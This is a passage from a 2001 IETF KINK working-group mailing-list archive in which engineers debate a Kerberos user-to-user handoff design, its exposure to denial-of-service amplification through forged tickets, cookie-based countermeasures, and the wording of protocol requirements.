is a TGT and tries to decrypt it. Keep in mind that a client usually cannot do much in terms of TGT validation. It certainly cannot decrypt the TGT. All it can do is look at the ASN.1 formatting and make sure it looks like a TGT. Similarly, the KDC just needs to get far enough in the ASN.1 encoding to actually try to decrypt the TGT. This means an attacker does not have to capture anything off the wire in order to mount this attack. They just build a fake TGT using the ASN.1 encoding, a "known service principal", and then use any random key to encrypt the encrypted portion of the TGT. It doesn't matter that the KDC can't decrypt it; that's the point -- you want the KDC to _try_ to decrypt it and fail. -derek -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Thu Jan 18 11:56:51 2001 Received: by ns.secondary.com (8.9.3/8.9.3) id LAA03043 for ietf-kink-bks; Thu, 18 Jan 2001 11:56:51 -0800 (PST) Received: from ariel.gi.com (ariel.gi.com [168.84.84.10]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id LAA03039 for ; Thu, 18 Jan 2001 11:56:50 -0800 (PST) Received: from ntas0028.gi.com ([168.84.84.98]) by GI.COM (PMDF V5.2-31 #46260) with ESMTP id <01JZ1VP8QSSYF0JSZH@GI.COM> for ietf-kink@vpnc.org; Thu, 18 Jan 2001 12:01:54 PST Received: by ntas0028.gi.com with Internet Mail Service (5.5.2650.21) id ; Thu, 18 Jan 2001 11:59:08 -0500 Content-return: allowed Date: Thu, 18 Jan 2001 15:02:54 -0500 From: "Medvinsky, Sasha (SD-EX)" Subject: RE: KINK user-user scenario To: "'Jonathan Trostle'" , Derek Atkins Cc: ietf-kink@vpnc.org Message-id: <97DEDE66B3DCD11199D200805FA71BE202FD4AE8@NTAS0027> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset="iso-8859-1" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Jonathan, Yes there is a checksum in the AS Request - if you are using a pre-authenticator such as an encrypted timestamp or PKINIT. These preauthenticators now contain a checksum over the request message body. Sasha. > -----Original Message----- > From: Jonathan Trostle [mailto:jtrostle@cisco.com] > Sent: Thursday, January 18, 2001 10:42 AM > To: Derek Atkins; Jonathan Trostle > Cc: smedvinsky@GI.COM; ietf-kink@vpnc.org > Subject: Re: KINK user-user scenario > > > At 10:35 AM 1/18/01 -0500, Derek Atkins wrote: > >Jonathan Trostle writes: > > > >> Not clear to me why the request would be different each > time except for the > >> IP address which the attacker would change for each > request anyway. An > >> attacker can easily build AS requests in advance and use > these to saturate > >> a KDC, without any help from other hosts. > > > >The KDC keeps a replay cache. The first thing it does is > check to see > >if it's seen the request before, and if it has, then it ignores it. > >This means that an attacker change the request for every message. > >Granted, this just implies changing one byte, but it also must change > >the checksum as well. > > There is no checksum in the AS request. > > > > >A MUCH easier attack would be to generate a single "TGT" and send it > >off to a thousand app-clients, each of which will expend energy > >building a "real" message for the KDC. I've just reduced the > >attacker's overhead by 1000:1. The benefits of this attack are > >two-fold. One, it's much less work for the attacker. Two, it hides > >the attacker's address because there are only low-level flows to each > >app-client and nothing to the KDC. > > TGT's are captured off the wire, unless the attacker wants to > use his own > TGT which is unlikely. So this localizes the attack to a particular > principal's location and is a good place to initiate > intrusion detection. > > Jonathan > > > > >> Interesting protocol, but one issue in the past has been > the need to get > >> data flowing over an SA after a minimum number of messages. > > > >This is true. However I believe that that an Initiator Handoff is a > >special case scenario and not something that happens very often or in > >very many cases. In most cases I would think that KINK would be used > >as a true peer-to-peer protocol. Adding one extra message to a > >special case scenario is not, IMHO, a showstopper. But > let's see what > >others in the WG think. > > > >-derek > > > >-- > > Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory > > Member, MIT Student Information Processing Board (SIPB) > > URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH > > warlord@MIT.EDU PGP key available > From owner-ietf-kink Thu Jan 18 12:55:32 2001 Received: by ns.secondary.com (8.9.3/8.9.3) id MAA06230 for ietf-kink-bks; Thu, 18 Jan 2001 12:55:32 -0800 (PST) Received: from cisco.com (nsm-mail2.cisco.com [171.71.236.25]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA06226 for ; Thu, 18 Jan 2001 12:55:31 -0800 (PST) Received: from jtrostle-nt2 (jtrostle-dsl3.cisco.com [10.19.59.100]) by cisco.com (8.8.8-Cisco List Logging/8.8.8) with SMTP id NAA10020; Thu, 18 Jan 2001 13:00:38 -0800 (PST) Message-Id: <4.1.20010118114717.00c3e3d0@nsm-mail2> X-Sender: jtrostle@nsm-mail2 X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Date: Thu, 18 Jan 2001 13:03:26 -0800 To: Derek Atkins , Jonathan Trostle From: Jonathan Trostle Subject: Re: KINK user-user scenario Cc: smedvinsky@gi.com, ietf-kink@vpnc.org In-Reply-To: References: <4.1.20010115213717.00c432e0@nsm-mail2> <4.1.20010116152508.00c416a0@nsm-mail2> <4.1.20010117135355.00c1ea30@nsm-mail2> <4.1.20010118092229.00c2f150@nsm-mail2> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Kerberos is vulnerable to these types of DoS attacks already. For example, an attacker can create a delegated request targetted at himself with a bogus krb creds inside and then send that out in multiple delegated request to 1000 servers which then try to authenticate to the KDC using the bogus krb creds. I'm not convinced we should go to a lot of work to try to prevent these types of attacks, because we will only be able to give some improvement to a few cases instead of all the cases. Some sort of IDS system would probably be needed to handle these types of attacks and might do an equally good job against all of them. Jonathan At 01:55 PM 1/18/01 -0500, Derek Atkins wrote: >Jonathan Trostle writes: > >> TGT's are captured off the wire, unless the attacker wants to use his own >> TGT which is unlikely. So this localizes the attack to a particular >> principal's location and is a good place to initiate intrusion detection. > >Who says an attacker needs to use a real TGT? The TGT need only look >valid enough that: > > a) the client believes it is a TGT and forwards it to the KDC, and > b) the KDC believes it is a TGT and tries to decrypt it. > >Keep in mind that a client usually cannot do much in terms of TGT >validation. It certainly cannot decrypt the TGT. All it can do is >look at the ASN.1 formatting and make sure it looks like a TGT. >Similarly, the KDC just needs to get far enough in the ASN.1 encoding >to actually try to decrypt the TGT. > >This means an attacker does not have to capture anything off the wire >in order to mount this attack. They just build a fake TGT using the >ASN.1 encoding, a "known service principal", and then use any random >key to encrypt the encrypted portion of the TGT. It doesn't matter >that the KDC can't decrypt it; that's the point -- you want the KDC to >_try_ to decrypt it and fail. > >-derek > >-- > Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory > Member, MIT Student Information Processing Board (SIPB) > URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH > warlord@MIT.EDU PGP key available From owner-ietf-kink Thu Jan 18 13:44:39 2001 Received: (from majordomo@localhost) by ns.secondary.com (8.9.3/8.9.3) id NAA08782 for ietf-kink-bks; Thu, 18 Jan 2001 13:44:39 -0800 (PST) Received: from cisco.com (nsm-mail2.cisco.com [171.71.236.25]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA08778 for ; Thu, 18 Jan 2001 13:44:37 -0800 (PST) Received: from jtrostle-nt2 (jtrostle-dsl3.cisco.com [10.19.59.100]) by cisco.com (8.8.8-Cisco List Logging/8.8.8) with SMTP id NAA13395; Thu, 18 Jan 2001 13:49:46 -0800 (PST) Message-Id: <4.1.20010118135027.00c3d210@nsm-mail2> X-Sender: jtrostle@nsm-mail2 X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Date: Thu, 18 Jan 2001 13:52:34 -0800 To: "Medvinsky, Sasha (SD-EX)" , "'Jonathan Trostle'" , Derek Atkins From: Jonathan Trostle Subject: RE: KINK user-user scenario Cc: ietf-kink@vpnc.org In-Reply-To: <97DEDE66B3DCD11199D200805FA71BE202FD4AE8@NTAS0027> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: The KDC will process an AS request without a preauthenticator. It doesn't really matter though, since as Derek points out, the preauthenticator does not need to be valid in order to force the KDC to do work. Jonathan At 03:02 PM 1/18/01 -0500, Medvinsky, Sasha (SD-EX) wrote: >Jonathan, > >Yes there is a checksum in the AS Request - if you are using a >pre-authenticator such as an encrypted timestamp or PKINIT. These >preauthenticators now contain a checksum over the request message body. > >Sasha. > >> -----Original Message----- >> From: Jonathan Trostle [mailto:jtrostle@cisco.com] >> Sent: Thursday, January 18, 2001 10:42 AM >> To: Derek Atkins; Jonathan Trostle >> Cc: smedvinsky@GI.COM; ietf-kink@vpnc.org >> Subject: Re: KINK user-user scenario >> >> >> At 10:35 AM 1/18/01 -0500, Derek Atkins wrote: >> >Jonathan Trostle writes: >> > >> >> Not clear to me why the request would be different each >> time except for the >> >> IP address which the attacker would change for each >> request anyway. An >> >> attacker can easily build AS requests in advance and use >> these to saturate >> >> a KDC, without any help from other hosts. >> > >> >The KDC keeps a replay cache. The first thing it does is >> check to see >> >if it's seen the request before, and if it has, then it ignores it. >> >This means that an attacker change the request for every message. >> >Granted, this just implies changing one byte, but it also must change >> >the checksum as well. >> >> There is no checksum in the AS request. >> >> > >> >A MUCH easier attack would be to generate a single "TGT" and send it >> >off to a thousand app-clients, each of which will expend energy >> >building a "real" message for the KDC. I've just reduced the >> >attacker's overhead by 1000:1. The benefits of this attack are >> >two-fold. One, it's much less work for the attacker. Two, it hides >> >the attacker's address because there are only low-level flows to each >> >app-client and nothing to the KDC. >> >> TGT's are captured off the wire, unless the attacker wants to >> use his own >> TGT which is unlikely. So this localizes the attack to a particular >> principal's location and is a good place to initiate >> intrusion detection. >> >> Jonathan >> >> > >> >> Interesting protocol, but one issue in the past has been >> the need to get >> >> data flowing over an SA after a minimum number of messages. >> > >> >This is true. However I believe that that an Initiator Handoff is a >> >special case scenario and not something that happens very often or in >> >very many cases. In most cases I would think that KINK would be used >> >as a true peer-to-peer protocol. Adding one extra message to a >> >special case scenario is not, IMHO, a showstopper. But >> let's see what >> >others in the WG think. >> > >> >-derek >> > >> >-- >> > Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory >> > Member, MIT Student Information Processing Board (SIPB) >> > URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH >> > warlord@MIT.EDU PGP key available >> From owner-ietf-kink Thu Jan 18 14:14:05 2001 Received: (from majordomo@localhost) by ns.secondary.com (8.9.3/8.9.3) id OAA09793 for ietf-kink-bks; Thu, 18 Jan 2001 14:14:05 -0800 (PST) Received: from ariel.gi.com (ariel.gi.com [168.84.84.10]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id OAA09789 for ; Thu, 18 Jan 2001 14:14:03 -0800 (PST) Received: from ntas0028.gi.com ([168.84.84.98]) by GI.COM (PMDF V5.2-31 #46260) with ESMTP id <01JZ20INCBJKF0JSZM@GI.COM> for ietf-kink@vpnc.org; Thu, 18 Jan 2001 14:19:16 PST Received: by ntas0028.gi.com with Internet Mail Service (5.5.2650.21) id ; Thu, 18 Jan 2001 14:17:22 -0500 Content-return: allowed Date: Thu, 18 Jan 2001 17:20:59 -0500 From: "Medvinsky, Sasha (SD-EX)" Subject: RE: KINK user-user scenario To: "'Derek Atkins'" , Jonathan Trostle Cc: ietf-kink@vpnc.org Message-id: <97DEDE66B3DCD11199D200805FA71BE202FD4AF1@NTAS0027> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset="iso-8859-1" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Derek, In your flows below, I would make the flows (2) and (3) optional, since U2U is optional in Kerberos. Flows (2) and (3) add some extra non-cryptographic work for the attacker trying to do the denial of service, but also adds extra work and messages to the protocol. So, I would make them optional, if you want that extra protection against denial of service, where the denial of service applies when the app-client doesn't use access control when receiving the 'Initiate' message. Sasha. > -----Original Message----- > From: Derek Atkins [mailto:warlord@mit.edu] > Sent: Wednesday, January 17, 2001 8:56 AM > To: Jonathan Trostle > Cc: smedvinsky@GI.COM; ietf-kink@vpnc.org > Subject: Re: KINK user-user scenario > > > Jonathan Trostle writes: > > > Right, but the situation isn't as bad (with respect to DoS > attacks) as when > > using a pure wakeup approach. Of course, DoS attacks are > even harder when > > using the approach currently specified. My thought was to > find a middle > > ground between DoS attack concerns and having the app > servers do less work. > > Clearly this is a question we need to ask the Working Group at large: > Should we complicate the KINK protocol in order to support an > architecure where the application servers don't want to store kerberos > U2U tickets? Or perhaps a better phrasing is "which is more > important, more protection against DoS style attacks or supporting an > architecture where application servers don't store U2U tickets?" > > > True, but you can send unauthenticated messages to the KDC > to do a DoS > > attack on a KDC. The difference is that you would have to > trace from the > > app clients instead of the KDC, but tracing from the KDC > might be easier. > > The other difference is that a) the attacker needs to do more work > this way (they need to build a new request every time), and b) by > bouncing off an application-client, they can cause even more traffic > to hit the KDC. Not to mention that by bouncing the attacks they wind > up reducing the individual flows to each app-client (making it harder > to trace) while still having a large aggregation at the KDC, in > addition to hiding their IP Address. > > I guess the real question that needs to be answered (and this may have > to wait until Minneapolis when we can call for a show of hands) is > which goal is more important? I think we'll have to make this choice, > unless someone can come up with an approach that allows the initiator > to handoff the Kerberos U2U request to the recipient while retaining > the DoS protection characteristics of the current protocol. > > I can see one approach but it adds one extra message to the protocol: > > App-Client App-Server KDC > <--- Inititate (1) > GetTGT (2) ------> > <----- U2U TGT (3) > TGS_REQ ---------------------> > <------------------------TGS_REP > AP_REQ (4)-----> > <------ AP_REP (5) > > Basically, if the initiator (the app-server in this case) knows it > wants to handoff to the responder, then in the initiate message (1) it > basically just sends a message that says "I want to initiate KINK with > a handoff. Here's my cookie." The responder replies (2) with "Send > your TGT. Here's your cookie back." The initiator can verify the > cookie (so it wont do extra work) and then the standard KINK U2U > continues: (3) send TGT with cookie (to continue transaction) (4) U2U > AP_REQ (5) AP_REP > > So basicaly we add one extra message here (#1) that is basically an > "initiate handoff" message but no real work is happens until after > message 3. But the only way to get to message three is if both > initiator and responder agree to complete a protocol. We would also > need to add a flag to the GetTGT message to say whether it's being > used as an initiate or a response. > > So, what do people think of this proposal? > > -derek > > -- > Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory > Member, MIT Student Information Processing Board (SIPB) > URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH > warlord@MIT.EDU PGP key available > From owner-ietf-kink Thu Jan 18 16:31:38 2001 Received: by ns.secondary.com (8.9.3/8.9.3) id QAA18241 for ietf-kink-bks; Thu, 18 Jan 2001 16:31:38 -0800 (PST) Received: from cisco.com (jindo.cisco.com [171.69.11.73]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id QAA18237 for ; Thu, 18 Jan 2001 16:31:36 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by cisco.com (8.8.8/2.5.1/Cisco List Logging/8.8.8) with ESMTP id QAA18477; Thu, 18 Jan 2001 16:36:47 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id QAA24792; Thu, 18 Jan 2001 16:36:46 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14951.35870.729168.267643@thomasm-u1.cisco.com> Date: Thu, 18 Jan 2001 16:36:46 -0800 (PST) To: Jonathan Trostle Cc: Derek Atkins , smedvinsky@gi.com, ietf-kink@vpnc.org Subject: Re: KINK user-user scenario In-Reply-To: <4.1.20010118114717.00c3e3d0@nsm-mail2> References: <4.1.20010115213717.00c432e0@nsm-mail2> <4.1.20010116152508.00c416a0@nsm-mail2> <4.1.20010117135355.00c1ea30@nsm-mail2> <4.1.20010118092229.00c2f150@nsm-mail2> <4.1.20010118114717.00c3e3d0@nsm-mail2> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Jonathan Trostle writes: > Kerberos is vulnerable to these types of DoS attacks already. For example, > an attacker can create a delegated request targetted at himself with a > bogus krb creds inside and then send that out in multiple delegated request > to 1000 servers which then try to authenticate to the KDC using the bogus > krb creds. > > I'm not convinced we should go to a lot of work to try to prevent these > types of attacks, because we will only be able to give some improvement to > a few cases instead of all the cases. Some sort of IDS system would > probably be needed to handle these types of attacks and might do an equally > good job against all of them. As currently instantiated in draft-ietf-kink-kink-00, this DoS attack does not exist. Adding some sort of wakeup mechanism explicitly allows the attack. I'd say that these proposals go out their way to *allow* the attack. That to my mind is bogus. Mike From owner-ietf-kink Thu Jan 18 16:50:37 2001 Received: by ns.secondary.com (8.9.3/8.9.3) id QAA18572 for ietf-kink-bks; Thu, 18 Jan 2001 16:50:37 -0800 (PST) Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id QAA18568 for ; Thu, 18 Jan 2001 16:50:35 -0800 (PST) Received: from mira-sjc5-5.cisco.com (mira-sjc5-5.cisco.com [171.71.163.22]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id QAA25816; Thu, 18 Jan 2001 16:56:04 -0800 (PST) Received: from mhur-w2k.cisco.com (sjc-vpn-243.cisco.com [10.21.64.243]) by mira-sjc5-5.cisco.com (Mirapoint) with ESMTP id ABV12494; Thu, 18 Jan 2001 16:55:46 -0800 (PST) Message-Id: <4.3.2.7.2.20010118143924.03e6df98@mira-sjc5-5.cisco.com> X-Sender: mhur@mira-sjc5-5.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Thu, 18 Jan 2001 14:42:04 -0800 To: Derek Atkins , ietf-kink@vpnc.org From: Matthew Hur Subject: Re: My comments on the KINK Requirements Cc: mat@cisco.com In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: At 01:40 PM 1/4/2001 -0500, Derek Atkins wrote: >- The protocol must be able to initially authenticate using either > secret key, or public key authentication. > >- The protocol must accommodate any combination of public and secret > key peers > >I'm not convinced we need to reference public/secret key. We just use >what Kerberos provides. So, I think these two requirements can >probably be rewritten to say: > > - The protocol must allow an initiator or a responder (or both) to > authenticate with just a TGT (using Kerberos User-to-User). I'm not sure that this is very clear either. How about: - The protocol must support Kerberos User-to-User mode for cases in which a principal does not have an entry in the Kerberos principal database (i.e. uses PKINIT). From owner-ietf-kink Fri Jan 19 07:20:06 2001 Received: (from majordomo@localhost) by ns.secondary.com (8.9.3/8.9.3) id HAA20945 for ietf-kink-bks; Fri, 19 Jan 2001 07:20:06 -0800 (PST) Received: from rcn.ihtfp.org (me@ORANGE-TOUR.IHTFP.ORG [204.107.200.33]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA20931 for ; Fri, 19 Jan 2001 07:20:04 -0800 (PST) Received: (from warlord@localhost) by rcn.ihtfp.org (8.9.3) id KAA01968; Fri, 19 Jan 2001 10:25:39 -0500 To: Matthew Hur Cc: ietf-kink@vpnc.org, mat@cisco.com Subject: Re: My comments on the KINK Requirements References: <4.3.2.7.2.20010118143924.03e6df98@mira-sjc5-5.cisco.com> From: Derek Atkins Date: 19 Jan 2001 10:25:39 -0500 In-Reply-To: Matthew Hur's message of "Thu, 18 Jan 2001 14:42:04 -0800" Message-ID: Lines: 28 X-Mailer: Gnus v5.5/Emacs 20.3 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Matthew Hur writes: > > > > - The protocol must allow an initiator or a responder (or both) to > > authenticate with just a TGT (using Kerberos User-to-User). > > I'm not sure that this is very clear either. How about: > - The protocol must support Kerberos User-to-User mode for cases in which > a principal does not have an entry in the Kerberos principal database (i.e. > uses PKINIT). Unfortunately this ignores the case where the principal DOES have an entry in the KDC but doesn't have a keytab (i.e. a Kerberos User). I was trying to cover both cases. Perhaps: - The protocol must support Kerberos User-to-User mode for cases in which the initiator cannot obtain an AP_REQ for the responder (i.e. the responder is a PKINIT client) or the responder cannot decrypt and AP_REQ from the initiator (i.e. the ressponder doesn't have a Kerberos Keytab, just a TGT). -derek -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Fri Jan 19 11:10:38 2001 Received: (from majordomo@localhost) by ns.secondary.com (8.9.3/8.9.3) id LAA01551 for ietf-kink-bks; Fri, 19 Jan 2001 11:10:38 -0800 (PST) Received: from rcn.ihtfp.org (me@ORANGE-TOUR.IHTFP.ORG [204.107.200.33]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id LAA01547 for ; Fri, 19 Jan 2001 11:10:36 -0800 (PST) Received: (from warlord@localhost) by rcn.ihtfp.org (8.9.3) id OAA17518; Fri, 19 Jan 2001 14:16:05 -0500 To: "Medvinsky, Sasha (SD-EX)" Cc: Jonathan Trostle , ietf-kink@vpnc.org Subject: Re: KINK user-user scenario References: <97DEDE66B3DCD11199D200805FA71BE202FD4AF1@NTAS0027> From: Derek Atkins Date: 19 Jan 2001 14:16:05 -0500 In-Reply-To: "Medvinsky, Sasha's message of "Thu, 18 Jan 2001 17:20:59 -0500" Message-ID: Lines: 159 X-Mailer: Gnus v5.5/Emacs 20.3 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: "Medvinsky, Sasha (SD-EX)" writes: > Derek, > > In your flows below, I would make the flows (2) and (3) optional, since U2U > is optional in Kerberos. Flows (2) and (3) add some extra non-cryptographic Um, where do you find that? Section 9.1 of RFC 1510 says that User-to-user is ""mandatory to implement" but is "may be disabled by policy". So, where are you getting the fact that U2U is optional in Kerberos? > work for the attacker trying to do the denial of service, but also adds > extra work and messages to the protocol. So, I would make them optional, if > you want that extra protection against denial of service, where the denial > of service applies when the app-client doesn't use access control when > receiving the 'Initiate' message. Honestly, I'd prefer to have as few optional parts of the KINK protocol as possible. I'd like to have a simple state machine that describes the full protocol, limiting optional portions. As soon as you start down the "make that optional" path, you start down the same path as IKE. I'd like not to make that same mistake. Now, I will certainly conceed that in an Initiator-Handoff situation the "responder" may be able to obtain an AP_REQ directly for the initiator, which implies that you don't need to use User-to-User. In _that_ case, yes, we should allow the use of a direct AP_REQ instead of the U2U flow, and we can solve the DoS case by doing the same thing with cookies. When the responder send's its AP_REQ to the initiator in response to the Handoff, it includes the cookie from the Initiator. That way the Initiator need not do any work unless the cookie is recognized. So, we have this (more complete) flow of the Initiator-Handoff sub-protocol: App-Client App-Server KDC <--- Inititate { if no ticket is cached ... { direct case: TGS_REQ ---------------------> <------------------------TGS_REP } { U2U case (or if direct case failed): GetTGT* ---------> <---------- U2U TGT TGS_REQ ---------------------> <------------------------TGS_REP } } AP_REQ* --------> <--------- AP_REP Basically, the whole protocol beyond the Initiate is the same "KINK" protocol, except that the GetTGT or AP_REQ need to be differentiated in a way that the server can tell that it is a response to an Initiate-Handoff message rather than a regular KINK Initiate. Does this work for you, Sasha? I think that this still protects us from the DoS attacks. -derek > Sasha. > > > -----Original Message----- > > From: Derek Atkins [mailto:warlord@mit.edu] > > Sent: Wednesday, January 17, 2001 8:56 AM > > To: Jonathan Trostle > > Cc: smedvinsky@GI.COM; ietf-kink@vpnc.org > > Subject: Re: KINK user-user scenario > > > > > > Jonathan Trostle writes: > > > > > Right, but the situation isn't as bad (with respect to DoS > > attacks) as when > > > using a pure wakeup approach. Of course, DoS attacks are > > even harder when > > > using the approach currently specified. My thought was to > > find a middle > > > ground between DoS attack concerns and having the app > > servers do less work. > > > > Clearly this is a question we need to ask the Working Group at large: > > Should we complicate the KINK protocol in order to support an > > architecure where the application servers don't want to store kerberos > > U2U tickets? Or perhaps a better phrasing is "which is more > > important, more protection against DoS style attacks or supporting an > > architecture where application servers don't store U2U tickets?" > > > > > True, but you can send unauthenticated messages to the KDC > > to do a DoS > > > attack on a KDC. The difference is that you would have to > > trace from the > > > app clients instead of the KDC, but tracing from the KDC > > might be easier. > > > > The other difference is that a) the attacker needs to do more work > > this way (they need to build a new request every time), and b) by > > bouncing off an application-client, they can cause even more traffic > > to hit the KDC. Not to mention that by bouncing the attacks they wind > > up reducing the individual flows to each app-client (making it harder > > to trace) while still having a large aggregation at the KDC, in > > addition to hiding their IP Address. > > > > I guess the real question that needs to be answered (and this may have > > to wait until Minneapolis when we can call for a show of hands) is > > which goal is more important? I think we'll have to make this choice, > > unless someone can come up with an approach that allows the initiator > > to handoff the Kerberos U2U request to the recipient while retaining > > the DoS protection characteristics of the current protocol. > > > > I can see one approach but it adds one extra message to the protocol: > > > > App-Client App-Server KDC > > <--- Inititate (1) > > GetTGT (2) ------> > > <----- U2U TGT (3) > > TGS_REQ ---------------------> > > <------------------------TGS_REP > > AP_REQ (4)-----> > > <------ AP_REP (5) > > > > Basically, if the initiator (the app-server in this case) knows it > > wants to handoff to the responder, then in the initiate message (1) it > > basically just sends a message that says "I want to initiate KINK with > > a handoff. Here's my cookie." The responder replies (2) with "Send > > your TGT. Here's your cookie back." The initiator can verify the > > cookie (so it wont do extra work) and then the standard KINK U2U > > continues: (3) send TGT with cookie (to continue transaction) (4) U2U > > AP_REQ (5) AP_REP > > > > So basicaly we add one extra message here (#1) that is basically an > > "initiate handoff" message but no real work is happens until after > > message 3. But the only way to get to message three is if both > > initiator and responder agree to complete a protocol. We would also > > need to add a flag to the GetTGT message to say whether it's being > > used as an initiate or a response. > > > > So, what do people think of this proposal? > > > > -derek > > > > -- > > Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory > > Member, MIT Student Information Processing Board (SIPB) > > URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH > > warlord@MIT.EDU PGP key available > > -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Tue Jan 23 16:28:31 2001 Received: by ns.secondary.com (8.9.3/8.9.3) id QAA16648 for ietf-kink-bks; Tue, 23 Jan 2001 16:28:31 -0800 (PST) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id QAA16644 for ; Tue, 23 Jan 2001 16:28:30 -0800 (PST) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id QAA04852; Tue, 23 Jan 2001 16:33:40 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AAR00038; Tue, 23 Jan 2001 16:33:28 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id QAA26706; Tue, 23 Jan 2001 16:33:28 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14958.8919.920126.391626@thomasm-u1.cisco.com> Date: Tue, 23 Jan 2001 16:33:27 -0800 (PST) To: Derek Atkins Cc: "Medvinsky, Sasha (SD-EX)" , Jonathan Trostle , ietf-kink@vpnc.org Subject: Re: KINK user-user scenario In-Reply-To: References: <97DEDE66B3DCD11199D200805FA71BE202FD4AF1@NTAS0027> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Derek Atkins writes: > App-Client App-Server KDC > <--- Inititate > > { if no ticket is cached ... > > { direct case: > TGS_REQ ---------------------> > <------------------------TGS_REP > } > { U2U case (or if direct case failed): > GetTGT* ---------> > <---------- U2U TGT > TGS_REQ ---------------------> > <------------------------TGS_REP > } > } > > AP_REQ* --------> > <--------- AP_REP > > Basically, the whole protocol beyond the Initiate is the same "KINK" > protocol, except that the GetTGT or AP_REQ need to be differentiated > in a way that the server can tell that it is a response to an > Initiate-Handoff message rather than a regular KINK Initiate. > > Does this work for you, Sasha? I think that this still protects us > from the DoS attacks. How so? This looks the same to me as any other wakeup scheme: a minimal amount of work by the attacker (the "server" in your diagram) causes the attacked (client, KDC) to generate a non-minimal amount of work and traffic. This looks like the same old Zombie kind of attack as before. Mike From owner-ietf-kink Tue Jan 23 16:45:49 2001 Received: by ns.secondary.com (8.9.3/8.9.3) id QAA16985 for ietf-kink-bks; Tue, 23 Jan 2001 16:45:49 -0800 (PST) Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id QAA16981 for 